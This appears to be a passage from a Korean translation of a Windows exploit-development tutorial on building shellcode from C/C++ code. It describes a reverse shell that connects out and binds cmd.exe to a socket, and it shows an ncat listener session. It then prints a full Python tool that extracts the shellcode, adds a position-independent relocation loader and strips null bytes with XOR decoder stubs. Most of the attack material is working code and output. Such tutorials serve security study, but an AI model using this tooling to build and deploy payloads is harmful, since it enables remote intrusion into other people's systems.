모듈에서 함수가 import 되기 전에 메모리에 해당 모듈이 로드 되었는지 확인할 필요가 있습니다. 운좋게도 kernel32.dll과 ntdll.dll은 항상 존재하지만 다른 모듈들이 그렇다고 가정하면 안됩니다. 가장 간단한 방법으로는 LoadLibrary를 이용하여 모듈을 로드하는 것 입니다.
1 2 | DefineFuncPtr(LoadLibraryA); My_LoadLibraryA(“ws2_32.dll”); | cs |
이는 kernel32.dll에서 제공되는 LoadLibrary를 이용하였으며 이 모듈은 항상 메모리에 존재합니다.
우리는 GetProcAddress 역시 사용할 수 있으며 이를 이용하여 우리가 필요한 다른 모든 함수들의 주소를 구할 수 있습니다. 하지만 이는 굉장히 소모적이 될 수 있는데 그 이유는 우리의 쉘코드에 모든 함수들의 이름을 포함시켜야 하기 때문입니다.
entryPoint
entryPoint는 당연히 우리가 제작한 쉘코드의 entry point이며 리버스 쉘을 구현했습니다. 첫 번째로 우리는 필요로 하는 모든 함수들을 import 하고 사용합니다. 이에 대한 자세한 내용은 그리 중요하지 않지만 한 가지 말씀드릴 것은 winsock API는 사용하기 굉장히 무거운 작업입니다.
짧게 설명하자면,
1. 소켓을 생성합니다.
2. 127.0.0.1:123에 접속 합니다.
3. cmd.exe를 이용하여 프로세스를 생성합니다.
4. 소켓을 프로세스의 기본 입력, 출력, 에러에 붙입니다.
5. 프로세스가 종료될 때 까지 기다립니다.
6. 프로세스가 종료되면 현재 스레드를 종료합니다.
3번과 4번은 CreateProcess 호출시 동시에 동작합니다. 4번에 의해 공격자는 123 포트에서 대기할 수 있으며 만약 접속이 됫다면 소켓을 통해 원격에서 동작중인 cmd.exe 를 통해 통신할 수 있습니다.
이를 해보기 위해서는 ncat를 설치 하고 cmd.exe를 실행시켜 아래 명령을 입력합니다.
http://nmap.org/ncat/
ncat -lvp 123
이는 포트 123에서 대기하게 됩니다. 그 후, Visual Studio 2013에서 Release를 선택하고 project 빌드 후 실행합니다.
ncat으로 돌아가면 다음과 같은 메시지를 확인할 수 있습니다.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Kiuhnm>ncat -lvp 123
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Listening on :::123
Ncat: Listening on 0.0.0.0:123
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:4409.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Kiuhnm\documents\visual studio 2013\Projects\shellcode\shellcode>
이제 원하는 명령을 실행 시킬 수 있고 종료하려면 exit를 입력합니다.
main
여기서는 링커 옵션에 도움을 받습니다.
Function Order: function_order.txt
function_order.txt에는 오직 ?entryPoint@@YAHXZ 만 존재하며 entryPoint 함수는 우리의 쉘코드에 먼저 위치하게 될 것 입니다. 이것이 우리가 원하는 행위 입니다.
이는 소스 코드에서 함수들의 순서를 지정하는 것은 링커의 특권이라 볼 수 있습니다. 그래서 우리는 다른 함수들 전에 entryPoint를 넣을 수 있습니다만 저는 일을 망치고 싶진 않습니다. main 함수는 소스 코드의 마지막에 오기 때문에 이는 우리의 쉘 코드 마지막에 링크되게 됩니다. 이는 우리의 쉘코드가 언제 끝나는지 알려줍니다. 어떻게 되는지 살펴보도록 하겠습니다.
파이썬 스크립트
소개
이제 실행 파일에 우리의 쉘 코드가 준비되었고, 우리는 이것을 추출하여 쉘 코드를 수정할 것입니다. 이는 쉽지 않은 작업입니다. 파이썬 스크립트는 다음과 같이 작성하였습니다.
1. 쉘 코드를 추출합니다.
2. 문자열들의 핸들을 재배치 합니다.
3. 쉘 코드에서 null 바이트를 제거합니다.
그건 그렇고 파이썬 작업을 할 때 당신이 어떤것을 좋아 하는지는 모르겠지만 저는 PyCharm을 사용하는 것을 좋아 합니다.
https://www.jetbrains.com/pycharm/
스크립트는 392 줄 정도 되며 자세한 내용은 뒤에 설명 드리겠습니다. 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 | # Shellcode extractor by Massimiliano Tomassoli (2015) import sys import os import datetime import pefile author = 'Massimiliano Tomassoli' year = datetime.date.today().year def dword_to_bytes(value): return [value & 0xff, (value >> 8) & 0xff, (value >> 16) & 0xff, (value >> 24) & 0xff] def bytes_to_dword(bytes): return (bytes[0] & 0xff) | ((bytes[1] & 0xff) << 8) | \ ((bytes[2] & 0xff) << 16) | ((bytes[3] & 0xff) << 24) def get_cstring(data, offset): ''' Extracts a C string (i.e. null-terminated string) from data starting from offset. ''' pos = data.find('\0', offset) if pos == -1: return None return data[offset:pos+1] def get_shellcode_len(map_file): ''' Gets the length of the shellcode by analyzing map_file (map produced by VS 2013) ''' try: with open(map_file, 'r') as f: lib_object = None shellcode_len = None for line in f: parts = line.split() if lib_object is not None: if parts[-1] == lib_object: raise Exception('_main is not the last function of %s' % lib_object) else: break elif (len(parts) > 2 and parts[1] == '_main'): # Format: # 0001:00000274 _main 00401274 f shellcode.obj shellcode_len = int(parts[0].split(':')[1], 16) lib_object = parts[-1] if shellcode_len is None: raise Exception('Cannot determine shellcode length') except IOError: print('[!] get_shellcode_len: Cannot open "%s"' % map_file) return None except Exception as e: print('[!] get_shellcode_len: %s' % e.message) return None return shellcode_len def get_shellcode_and_relocs(exe_file, shellcode_len): ''' Extracts the shellcode from the .text section of the file exe_file and the string relocations. Returns the triple (shellcode, relocs, addr_to_strings). ''' try: # Extracts the shellcode. pe = pefile.PE(exe_file) shellcode = None rdata = None for s in pe.sections: if s.Name == '.text\0\0\0': if s.SizeOfRawData < shellcode_len: raise Exception('.text section too small') shellcode_start = s.VirtualAddress shellcode_end = shellcode_start + shellcode_len shellcode = pe.get_data(s.VirtualAddress, shellcode_len) elif s.Name == '.rdata\0\0': rdata_start = s.VirtualAddress rdata_end = rdata_start + s.Misc_VirtualSize rdata = pe.get_data(rdata_start, s.Misc_VirtualSize) if shellcode is None: raise Exception('.text section not found') if rdata is None: raise Exception('.rdata section not found') # Extracts the relocations for the shellcode and the referenced strings in .rdata. relocs = [] addr_to_strings = {} for rel_data in pe.DIRECTORY_ENTRY_BASERELOC: for entry in rel_data.entries[:-1]: # the last element's rvs is the base_rva (why?) if shellcode_start <= entry.rva < shellcode_end: # The relocation location is inside the shellcode. relocs.append(entry.rva - shellcode_start) # offset relative to the start of shellcode string_va = pe.get_dword_at_rva(entry.rva) string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase if string_rva < rdata_start or string_rva >= rdata_end: raise Exception('shellcode references a section other than .rdata') str = get_cstring(rdata, string_rva - rdata_start) if str is None: raise Exception('Cannot extract string from .rdata') addr_to_strings[string_va] = str return (shellcode, relocs, addr_to_strings) except WindowsError: print('[!] get_shellcode: Cannot open "%s"' % exe_file) return None except Exception as e: print('[!] get_shellcode: %s' % e.message) return None def dword_to_string(dword): return ''.join([chr(x) for x in dword_to_bytes(dword)]) def add_loader_to_shellcode(shellcode, relocs, addr_to_strings): if len(relocs) == 0: return shellcode # there are no relocations # The format of the new shellcode is: # call here # here: # ... # shellcode_start: # <shellcode> (contains offsets to strX (offset are from "here" label)) # relocs: # off1|off2|... (offsets to relocations (offset are from "here" label)) # str1|str2|... delta = 21 # shellcode_start - here # Builds the first part (up to and not including the shellcode). x = dword_to_bytes(delta + len(shellcode)) y = dword_to_bytes(len(relocs)) code = [ 0xE8, 0x00, 0x00, 0x00, 0x00, # CALL here # here: 0x5E, # POP ESI 0x8B, 0xFE, # MOV EDI, ESI 0x81, 0xC6, x[0], x[1], x[2], x[3], # ADD ESI, shellcode_start + len(shellcode) - here 0xB9, y[0], y[1], y[2], y[3], # MOV ECX, len(relocs) 0xFC, # CLD # again: 0xAD, # LODSD 0x01, 0x3C, 0x07, # ADD [EDI+EAX], EDI 0xE2, 0xFA # LOOP again # shellcode_start: ] # Builds the final part (offX and strX). offset = delta + len(shellcode) + len(relocs) * 4 # offset from "here" label final_part = [dword_to_string(r + delta) for r in relocs] addr_to_offset = {} for addr in addr_to_strings.keys(): str = addr_to_strings[addr] final_part.append(str) addr_to_offset[addr] = offset offset += len(str) # Fixes the shellcode so that the pointers referenced by relocs point to the # string in the final part. byte_shellcode = [ord(c) for c in shellcode] for off in relocs: addr = bytes_to_dword(byte_shellcode[off:off+4]) byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr]) return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part) def dump_shellcode(shellcode): ''' Prints shellcode in C format ('\x12\x23...') ''' shellcode_len = len(shellcode) sc_array = [] bytes_per_row = 16 for i in range(shellcode_len): pos = i % bytes_per_row str = '' if pos == 0: str += '"' str += '\\x%02x' % ord(shellcode[i]) if i == shellcode_len - 1: str += '";\n' elif pos == bytes_per_row - 1: str += '"\n' sc_array.append(str) shellcode_str = ''.join(sc_array) print(shellcode_str) def get_xor_values(value): ''' Finds x and y such that: 1) x xor y == value 2) x and y doesn't contain null bytes Returns x and y as arrays of bytes starting from the lowest significant byte. ''' # Finds a non-null missing bytes. bytes = dword_to_bytes(value) missing_byte = [b for b in range(1, 256) if b not in bytes][0] xor1 = [b ^ missing_byte for b in bytes] xor2 = [missing_byte] * 4 return (xor1, xor2) def get_fixed_shellcode_single_block(shellcode): ''' Returns a version of shellcode without null bytes or None if the shellcode can't be fixed. If this function fails, use get_fixed_shellcode(). ''' # Finds one non-null byte not present, if any. bytes = set([ord(c) for c in shellcode]) missing_bytes = [b for b in range(1, 256) if b not in bytes] if len(missing_bytes) == 0: return None # shellcode can't be fixed missing_byte = missing_bytes[0] (xor1, xor2) = get_xor_values(len(shellcode)) code = [ 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4 # here: 0xC0, # (FF)C0 = INC EAX 0x5F, # POP EDI 0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len> 0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len> 0x83, 0xC7, 29, # ADD EDI, shellcode_begin - here 0x33, 0xF6, # XOR ESI, ESI 0xFC, # CLD # loop1: 0x8A, 0x07, # MOV AL, BYTE PTR [EDI] 0x3C, missing_byte, # CMP AL, <missing byte> 0x0F, 0x44, 0xC6, # CMOVE EAX, ESI 0xAA, # STOSB 0xE2, 0xF6 # LOOP loop1 # shellcode_begin: ] return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte)) def get_fixed_shellcode(shellcode): ''' Returns a version of shellcode without null bytes. This version divides the shellcode into multiple blocks and should be used only if get_fixed_shellcode_single_block() doesn't work with this shellcode. ''' # The format of bytes_blocks is # [missing_byte1, number_of_blocks1, # missing_byte2, number_of_blocks2, ...] # where missing_byteX is the value used to overwrite the null bytes in the # shellcode, while number_of_blocksX is the number of 254-byte blocks where # to use the corresponding missing_byteX. bytes_blocks = [] shellcode_len = len(shellcode) i = 0 while i < shellcode_len: num_blocks = 0 missing_bytes = list(range(1, 256)) # Tries to find as many 254-byte contiguous blocks as possible which misses at # least one non-null value. Note that a single 254-byte block always misses at # least one non-null value. while True: if i >= shellcode_len or num_blocks == 255: bytes_blocks += [missing_bytes[0], num_blocks] break bytes = set([ord(c) for c in shellcode[i:i+254]]) new_missing_bytes = [b for b in missing_bytes if b not in bytes] if len(new_missing_bytes) != 0: # new block added missing_bytes = new_missing_bytes num_blocks += 1 i += 254 else: bytes += [missing_bytes[0], num_blocks] break if len(bytes_blocks) > 0x7f - 5: # Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes". return None (xor1, xor2) = get_xor_values(len(shellcode)) code = ([ 0xEB, len(bytes_blocks)] + # JMP SHORT skip_bytes # bytes: bytes_blocks + [ # ... # skip_bytes: 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4 # here: 0xC0, # (FF)C0 = INC EAX 0x5F, # POP EDI 0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len> 0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len> 0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF, # LEA EBX, [EDI + (bytes - here)] 0x83, 0xC7, 0x30, # ADD EDI, shellcode_begin - here # loop1: 0xB0, 0xFE, # MOV AL, 0FEh 0xF6, 0x63, 0x01, # MUL AL, BYTE PTR [EBX+1] 0x0F, 0xB7, 0xD0, # MOVZX EDX, AX 0x33, 0xF6, # XOR ESI, ESI 0xFC, # CLD # loop2: 0x8A, 0x07, # MOV AL, BYTE PTR [EDI] 0x3A, 0x03, # CMP AL, BYTE PTR [EBX] 0x0F, 0x44, 0xC6, # CMOVE EAX, ESI 0xAA, # STOSB 0x49, # DEC ECX 0x74, 0x07, # JE shellcode_begin 0x4A, # DEC EDX 0x75, 0xF2, # JNE loop2 0x43, # INC EBX 0x43, # INC EBX 0xEB, 0xE3 # JMP loop1 # shellcode_begin: ]) new_shellcode_pieces = [] pos = 0 for i in range(len(bytes_blocks) / 2): missing_char = chr(bytes_blocks[i*2]) num_bytes = 254 * bytes_blocks[i*2 + 1] new_shellcode_pieces.append(shellcode[pos:pos+num_bytes].replace('\0', missing_char)) pos += num_bytes return ''.join([chr(x) for x in code]) + ''.join(new_shellcode_pieces) def main(): print("Shellcode Extractor by %s (%d)\n" % (author, year)) if len(sys.argv) != 3: print('Usage:\n' + ' %s <exe file> <map file>\n' % os.path.basename(sys.argv[0])) return exe_file = sys.argv[1] map_file = sys.argv[2] print('Extracting shellcode length from "%s"...' % os.path.basename(map_file)) shellcode_len = get_shellcode_len(map_file) if shellcode_len is None: return print('shellcode length: %d' % shellcode_len) print('Extracting shellcode from "%s" and analyzing relocations...' % os.path.basename(exe_file)) result = get_shellcode_and_relocs(exe_file, shellcode_len) if result is None: return (shellcode, relocs, addr_to_strings) = result if len(relocs) != 0: print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings))) print('Strings:') for s in addr_to_strings.values(): print(' ' + s[:-1]) print('') shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings) else: print('No relocations found') if shellcode.find('\0') == -1: print('Unbelievable: the shellcode does not need to be fixed!') fixed_shellcode = shellcode else: # shellcode contains null bytes and needs to be fixed. print('Fixing the shellcode...') fixed_shellcode = get_fixed_shellcode_single_block(shellcode) if fixed_shellcode is None: # if shellcode wasn't fixed... fixed_shellcode = get_fixed_shellcode(shellcode) if fixed_shellcode is None: print('[!] Cannot fix the shellcode') print('final shellcode length: %d\n' % len(fixed_shellcode)) print('char shellcode[] = ') dump_shellcode(fixed_shellcode) main() | cs |
맵 파일과 쉘 코드 크기
위에 설명햇듯이, 링커는 다음 옵션을 이용하여 맵 파일을 생성합니다.
- Debugging
- Generate Map File: Yes (/MAP)
Map File Name: mapfile
맵 파일은 쉘 코드의 길이는 정하는데 아주 중요합니다. 아래는 맵 파일의 관련된 부분입니다.
shellcode
Timestamp is 54fa2c08 (Fri Mar 06 23:36:56 2015)
Preferred load address is 00400000
Start Length Name Class
0001:00000000 00000a9cH .text$mn CODE
0002:00000000 00000094H .idata$5 DATA
0002:00000094 00000004H .CRT$XCA DATA
0002:00000098 00000004H .CRT$XCAA DATA
0002:0000009c 00000004H .CRT$XCZ DATA
0002:000000a0 00000004H .CRT$XIA DATA
0002:000000a4 00000004H .CRT$XIAA DATA
0002:000000a8 00000004H .CRT$XIC DATA
0002:000000ac 00000004H .CRT$XIY DATA
0002:000000b0 00000004H .CRT$XIZ DATA
0002:000000c0 000000a8H .rdata DATA
0002:00000168 00000084H .rdata$debug DATA
0002:000001f0 00000004H .rdata$sxdata DATA
0002:000001f4 00000004H .rtc$IAA DATA
0002:000001f8 00000004H .rtc$IZZ DATA
0002:000001fc 00000004H .rtc$TAA DATA
0002:00000200 00000004H .rtc$TZZ DATA
0002:00000208 0000005cH .xdata$x DATA
0002:00000264 00000000H .edata DATA
0002:00000264 00000028H .idata$2 DATA
0002:0000028c 00000014H .idata$3 DATA
0002:000002a0 00000094H .idata$4 DATA
0002:00000334 0000027eH .idata$6 DATA
0003:00000000 00000020H .data DATA
0003:00000020 00000364H .bss DATA
0004:00000000 00000058H .rsrc$01 DATA
0004:00000060 00000180H .rsrc$02 DATA
Address Publics by Value Rva+Base Lib:Object
0000:00000000 ___guard_fids_table 00000000 <absolute>
0000:00000000 ___guard_fids_count 00000000 <absolute>
0000:00000000 ___guard_flags 00000000 <absolute>
0000:00000001 ___safe_se_handler_count 00000001 <absolute>
0000:00000000 ___ImageBase 00400000 <linker-defined>
0001:00000000 ?entryPoint@@YAHXZ 00401000 f shellcode.obj
0001:000001a1 ?getHash@@YAKPBD@Z 004011a1 f shellcode.obj
0001:000001be ?getProcAddrByHash@@YAPAXK@Z 004011be f shellcode.obj
0001:00000266 _main 00401266 f shellcode.obj
0001:000004d4 _mainCRTStartup 004014d4 f MSVCRT:crtexe.obj
0001:000004de ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z 004014de f MSVCRT:unhandld.obj
0001:0000051f ___CxxSetUnhandledExceptionFilter 0040151f f MSVCRT:unhandld.obj
0001:0000052e __XcptFilter 0040152e f MSVCRT:MSVCR120.dll
<snip>
맵 파일의 시작 부분에 section 1은 .text 영역임을 말하고 있고 이는 아래 코드를 포함하고 있습니다.
Start Length Name Class
0001:00000000 00000a9cH .text$mn CODE
두 번째 부분은 .text 영역이 ?entryPoint@@YAHXZ로 시작하며 우리의 entryPoint 함수와 main (여기서는 _main) 은 함수 마지막에 있음을 보입니다. main은 0x266 에 위치하고 entryPoint는 0에 위치하기 때문에 우리의 쉘코드는 .text 영역에서 부터 시작하며 0x266 크기를 갖습니다.
아래는 파이썬에서 어떻게 하는지 보여줍니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | def get_shellcode_len(map_file): ''' Gets the length of the shellcode by analyzing map_file (map produced by VS 2013) ''' try: with open(map_file, 'r') as f: lib_object = None shellcode_len = None for line in f: parts = line.split() if lib_object is not None: if parts[-1] == lib_object: raise Exception('_main is not the last function of %s' % lib_object) else: break elif (len(parts) > 2 and parts[1] == '_main'): # Format: # 0001:00000274 _main 00401274 f shellcode.obj shellcode_len = int(parts[0].split(':')[1], 16) lib_object = parts[-1] if shellcode_len is None: raise Exception('Cannot determine shellcode length') except IOError: print('[!] get_shellcode_len: Cannot open "%s"' % map_file) return None except Exception as e: print('[!] get_shellcode_len: %s' % e.message) return None return shellcode_len | cs |
쉘 코드 추출
이 부분은 굉장히 쉽습니다. 우리는 쉘코드의 크기와 쉘코드가 .text 영역의 처음 부분에 위치해 있음을 알고 있습니다. 아래는 해당 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | def get_shellcode_and_relocs(exe_file, shellcode_len): ''' Extracts the shellcode from the .text section of the file exe_file and the string relocations. Returns the triple (shellcode, relocs, addr_to_strings). ''' try: # Extracts the shellcode. pe = pefile.PE(exe_file) shellcode = None rdata = None for s in pe.sections: if s.Name == '.text\0\0\0': if s.SizeOfRawData < shellcode_len: raise Exception('.text section too small') shellcode_start = s.VirtualAddress shellcode_end = shellcode_start + shellcode_len shellcode = pe.get_data(s.VirtualAddress, shellcode_len) elif s.Name == '.rdata\0\0': <snip> if shellcode is None: raise Exception('.text section not found') if rdata is None: raise Exception('.rdata section not found') <snip> | cs |
저는 여기서 사용하기 편리한 pefile 모듈을 사용하였습니다. 관련된 부분은 if 의 body 부분 입니다.
문자열들과 .rdata
전에 설명햇듯, 우리의 C/C++ 코드는 문자열들을 포함할 수 있습니다. 예를들어 쉘코드가 다음 라인을 포함한다고 하면
1 | My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo); | cs |
문자열 cmd.exe는 초기화된 데이터를 갖는 읽기 전용 섹션인 .rdata 영역에 위치합니다. 코드는 절대 주소를 이용하여 문자열에 접근합니다.
00241152 50 push eax
00241153 8D 44 24 5C lea eax,[esp+5Ch]
00241157 C7 84 24 88 00 00 00 00 01 00 00 mov dword ptr [esp+88h],100h
00241162 50 push eax
00241163 52 push edx
00241164 52 push edx
00241165 52 push edx
00241166 6A 01 push 1
00241168 52 push edx
00241169 52 push edx
0024116A 68 18 21 24 00 push 242118h <------------------------
0024116F 52 push edx
00241170 89 B4 24 C0 00 00 00 mov dword ptr [esp+0C0h],esi
00241177 89 B4 24 BC 00 00 00 mov dword ptr [esp+0BCh],esi
0024117E 89 B4 24 B8 00 00 00 mov dword ptr [esp+0B8h],esi
00241185 FF 54 24 34 call dword ptr [esp+34h]
보시다시피, cmd.exe의 절대 주소는 242118h 입니다. 이 주소는 push 명령의 한 부분이며 이는 24116Bh에 위치해 있습니다. 만약 파일 cmd.exe를 파일 에디터로 수정하면 다음과 같습니다.
56A: 68 18 21 40 00 push 000402118h
56A 는 파일의 오프셋 입니다. 이것의 가상 주소는 40116A인데 그 이유는 이미지 베이스가 400000h이기 때문입니다. 이것은 메모리에 실행 파일이 로드되는 위치로 자주 사용되는 주소 입니다. 만약 실행 파일이 자주 사용되는 기본 주소에 로드가 된다면 명령의 절대 주소인 402118h가 됩니다. 하지만 실행 파일이 다른 기본 주소에 로드가 된다면 명령은 수정될 필요가 있습니다. 어떻게 윈도우즈 로더는 수정이 필요한 주소를 포함하는 실행 파일의 위치를 알 수 있을까요? PE 파일은 Relocation Directory 를 갖는데 우리의 경우에는 .reloc section을 가리킵니다. 이는 수정될 모든 위치의 RVAs를 갖습니다.
우리는 이 디렉토리를 통해 아래 위치들에 대한 주소들을 볼 수 있습니다.
1. 쉘 코드를 포함하고 있는 위치
2. .rdata의 데이터를 가리키는 포인터들의 위치
예를들어, Relocation Directory 는 다른 주소들 사이에 push 402118h 명령의 마지막 4 바이트를 가리키는 주소 40116Bh를 가질 것 입니다. 이 바이트들은 402118h 에 있는데 이는 .rdata에 있는 cmd.exe 문자열을 가리키고 있습니다.
get_shellcode_and_relocs 함수를 살펴 보면 다음과 같습니다. 첫 번째 부분에 우리는 .rdata section을 추출합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | def get_shellcode_and_relocs(exe_file, shellcode_len): ''' Extracts the shellcode from the .text section of the file exe_file and the string relocations. Returns the triple (shellcode, relocs, addr_to_strings). ''' try: # Extracts the shellcode. pe = pefile.PE(exe_file) shellcode = None rdata = None for s in pe.sections: if s.Name == '.text\0\0\0': <snip> elif s.Name == '.rdata\0\0': rdata_start = s.VirtualAddress rdata_end = rdata_start + s.Misc_VirtualSize rdata = pe.get_data(rdata_start, s.Misc_VirtualSize) if shellcode is None: raise Exception('.text section not found') if rdata is None: raise Exception('.rdata section not found') | cs |
관련된 부분은 elif 의 내용입니다.
같은 함수의 두 번째 부분에서 우리는 재배치(relocations)를 분석하고 우리의 쉘코드를 포함한 위치를 찾고 이 위치에서 참조 하고 있는 문자열 (null-terminated)을 .rdata에서 추출합니다.
위에서 얘기햇듯이, 우리는 쉘코드를 포함하는 위치만 관심이 있습니다. 아래는 get_shellcode_and_relocs 함수에서 관련된 부분 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | # Extracts the relocations for the shellcode and the referenced strings in .rdata. relocs = [] addr_to_strings = {} for rel_data in pe.DIRECTORY_ENTRY_BASERELOC: for entry in rel_data.entries[:-1]: # the last element's rvs is the base_rva (why?) if shellcode_start <= entry.rva < shellcode_end: # The relocation location is inside the shellcode. relocs.append(entry.rva - shellcode_start) # offset relative to the start of shellcode string_va = pe.get_dword_at_rva(entry.rva) string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase if string_rva < rdata_start or string_rva >= rdata_end: raise Exception('shellcode references a section other than .rdata') str = get_cstring(rdata, string_rva - rdata_start) if str is None: raise Exception('Cannot extract string from .rdata') addr_to_strings[string_va] = str return (shellcode, relocs, addr_to_strings) | cs |
pe.DIRECTORY_ENTRY_BASELOC 은 데이터 구조의 리스트로 relocations의 리스트인 entries 라는 필드 이름을 포함합니다. 첫 번째로 현재 relocation이 쉘코드가 있는지 확인합니다. 만약 그렇다면,
1. 쉘코드의 시작부분에 연관된 relocation의 오프셋을 relocs에 추가합니다.
2. 쉘코드에서 오프셋에 존재하는 DWORD를 추출하고 이 DWORD가 .rdata를 가리키는지 확인합니다.
3. .rdata에서 (2)에서 찾은 위치에서 문자열을 추출합니다.
4. 문자열을 addr_to_strings에 추가합니다.
여기서,
I. relocs는 쉘코드를 포함하는 relocations의 오프셋을 가지고 있습니다. 예를들어 쉘코드의 수정이 필요한 DWORDs 오프셋
II. addr_to_strings는 딕셔너리로 (2)에서 찾은 주소들과 연관되어 실제 문자열을 가리킵니다.
아이디어는 addr_to_strings 포함된 문자열을 쉘코드 끝부분에 추가하고 쉘코드에서 이 문자열을 참조할 수 있도록 만드는 것 입니다. 하지만 code->strings 링킹은 쉘코드의 시작 위치를 모르기 때문에 실행 중에 진행되어야 합니다. 이를 위해, 우리는 실행 중에 쉘 코드를 수정할 수 있는 로더가 필요합니다. 아래는 변경 이후 쉘 코드의 구조에 대해 나타낸 것 입니다.
offX는 DWORD로 변경이 필요한 원본 쉘코드의 위치를 가리킵니다. 로더는 이 위치들에 대해 변경을 하여 정확한 문자열인 strX를 가리키게 됩니다.
이 작업이 어떻게 이루어지는지 보려면 아래 코드를 이해할 필요가 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | def add_loader_to_shellcode(shellcode, relocs, addr_to_strings): if len(relocs) == 0: return shellcode # there are no relocations # The format of the new shellcode is: # call here # here: # ... # shellcode_start: # <shellcode> (contains offsets to strX (offset are from "here" label)) # relocs: # off1|off2|... (offsets to relocations (offset are from "here" label)) # str1|str2|... delta = 21 # shellcode_start - here # Builds the first part (up to and not including the shellcode). x = dword_to_bytes(delta + len(shellcode)) y = dword_to_bytes(len(relocs)) code = [ 0xE8, 0x00, 0x00, 0x00, 0x00, # CALL here # here: 0x5E, # POP ESI 0x8B, 0xFE, # MOV EDI, ESI 0x81, 0xC6, x[0], x[1], x[2], x[3], # ADD ESI, shellcode_start + len(shellcode) - here 0xB9, y[0], y[1], y[2], y[3], # MOV ECX, len(relocs) 0xFC, # CLD # again: 0xAD, # LODSD 0x01, 0x3C, 0x07, # ADD [EDI+EAX], EDI 0xE2, 0xFA # LOOP again # shellcode_start: ] # Builds the final part (offX and strX). offset = delta + len(shellcode) + len(relocs) * 4 # offset from "here" label final_part = [dword_to_string(r + delta) for r in relocs] addr_to_offset = {} for addr in addr_to_strings.keys(): str = addr_to_strings[addr] final_part.append(str) addr_to_offset[addr] = offset offset += len(str) # Fixes the shellcode so that the pointers referenced by relocs point to the # string in the final part. byte_shellcode = [ord(c) for c in shellcode] for off in relocs: addr = bytes_to_dword(byte_shellcode[off:off+4]) byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr]) return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part) | cs |
로더를 살펴보면 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | CALL here ; PUSH EIP+5; JMP here here: POP ESI ; ESI = address of "here" MOV EDI, ESI ; EDI = address of "here" ADD ESI, shellcode_start + len(shellcode) - here ; ESI = address of off1 MOV ECX, len(relocs) ; ECX = number of locations to fix CLD ; tells LODSD to go forwards again: LODSD ; EAX = offX; ESI += 4 ADD [EDI+EAX], EDI ; fixes location within shellcode LOOP again ; DEC ECX; if ECX > 0 then JMP again shellcode_start: <shellcode> relocs: off1|off2|... str1|str2|... | cs |
첫 번째 호출은 메모리에서 here의 절대 주소를 얻기 위해 사용됩니다. 로더는 이 정보를 이용하여 원본 쉘코드의 오프셋들을 수정합니다. ESI 는 off1을 가리키고 있어서 LODSD는 오프셋들을 하나씩 읽는데 사용됩니다. 명령어는 다음과 같습니다.
ADD [EDI+EAX], EDI
